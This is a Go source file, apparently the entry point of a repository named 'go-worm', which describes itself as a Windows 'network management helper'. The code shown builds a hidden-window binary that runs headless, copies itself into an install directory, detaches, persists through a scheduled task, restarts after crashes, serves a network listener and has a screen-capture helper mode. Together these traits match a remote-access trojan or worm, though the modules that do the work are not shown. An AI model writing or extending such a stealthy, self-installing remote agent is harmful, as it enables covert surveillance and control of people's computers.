kato
a3c78820ed
- Move screen capture to child process - Isolate GDI/BitBlt crashes from agent - Use -capture flag for internal helper mode - Add protocol for frame request/response - Make monitor enumeration thread-safe
123 lines
3.0 KiB
Go
123 lines
3.0 KiB
Go
// win64_mp is a Windows-only, local network management helper.
|
|
//
|
|
// Build for Windows x64:
|
|
//
|
|
// GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H windowsgui" -o win64_mp.exe .
|
|
//
|
|
// Runs headless by default. Use -foreground for a visible console (dev only).
|
|
// Use -background to spawn a detached copy and exit the launcher.
|
|
package main
|
|
|
|
import (
|
|
"errors"
|
|
"flag"
|
|
"fmt"
|
|
"os"
|
|
"strings"
|
|
"time"
|
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/agent"
|
|
"tea.chunkbyte.com/kato/go-worm/lib/capture"
|
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
|
"tea.chunkbyte.com/kato/go-worm/lib/crashlog"
|
|
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
|
"tea.chunkbyte.com/kato/go-worm/lib/install"
|
|
"tea.chunkbyte.com/kato/go-worm/lib/instance"
|
|
)
|
|
|
|
var errAlreadyRunning = errors.New("agent already running")
|
|
|
|
func main() {
|
|
defer func() {
|
|
if r := recover(); r != nil {
|
|
crashlog.RecordPanic(r)
|
|
helpers.Log.Printf("fatal panic: %v", r)
|
|
}
|
|
}()
|
|
|
|
background := flag.Bool("background", false, "spawn detached agent and exit")
|
|
ensure := flag.Bool("ensure", false, "run the agent if it is not already running")
|
|
foreground := flag.Bool("foreground", false, "keep console visible (dev only)")
|
|
skipInstall := flag.Bool("skip-install", false, "do not copy exe into the install directory")
|
|
parallel := flag.Bool("parallel", false, "allow running beside another agent instance")
|
|
addr := flag.String("addr", "", "listen address host:port (overrides AGENT_ADDR)")
|
|
captureMode := flag.Bool("capture", false, "run as screenshot helper (used internally)")
|
|
flag.Parse()
|
|
|
|
if *captureMode {
|
|
os.Exit(capture.RunHelper())
|
|
}
|
|
|
|
if *foreground {
|
|
instance.AllowConsoleKill()
|
|
instance.ShowConsole()
|
|
} else {
|
|
_ = helpers.AttachLogFile()
|
|
}
|
|
|
|
if !*skipInstall {
|
|
if err := install.Ensure(); err != nil {
|
|
die(err, *foreground)
|
|
}
|
|
}
|
|
|
|
if *ensure {
|
|
if instance.AlreadyRunning() {
|
|
return
|
|
}
|
|
// Stay resident as the agent. Do not spawn another -ensure process:
|
|
// that child died with the scheduled task, which looked like a flash.
|
|
} else if *background {
|
|
if err := instance.Detach(); err != nil {
|
|
die(err, *foreground)
|
|
}
|
|
return
|
|
}
|
|
|
|
cfg := agent.Config{ListenAddr: *addr, Parallel: *parallel, StopOnInterrupt: *foreground}
|
|
for {
|
|
err := runAgent(cfg)
|
|
if err == nil {
|
|
return
|
|
}
|
|
if errors.Is(err, errAlreadyRunning) {
|
|
return
|
|
}
|
|
crashlog.RecordError(err)
|
|
helpers.Log.Printf("agent stopped: %v; restarting in %s", err, config.RestartDelay)
|
|
time.Sleep(config.RestartDelay)
|
|
}
|
|
}
|
|
|
|
func runAgent(cfg agent.Config) (err error) {
|
|
defer func() {
|
|
if r := recover(); r != nil {
|
|
crashlog.RecordPanic(r)
|
|
err = fmt.Errorf("panic: %v", r)
|
|
}
|
|
}()
|
|
|
|
a, err := agent.New(cfg)
|
|
if err != nil {
|
|
if strings.Contains(err.Error(), "already running") {
|
|
return errAlreadyRunning
|
|
}
|
|
return err
|
|
}
|
|
defer a.Close()
|
|
|
|
if err := a.Serve(); err != nil {
|
|
return err
|
|
}
|
|
return nil
|
|
}
|
|
|
|
func die(err error, foreground bool) {
|
|
if !foreground {
|
|
instance.HideConsole()
|
|
_ = helpers.AttachLogFile()
|
|
}
|
|
crashlog.RecordError(err)
|
|
helpers.Log.Fatal(err)
|
|
}
|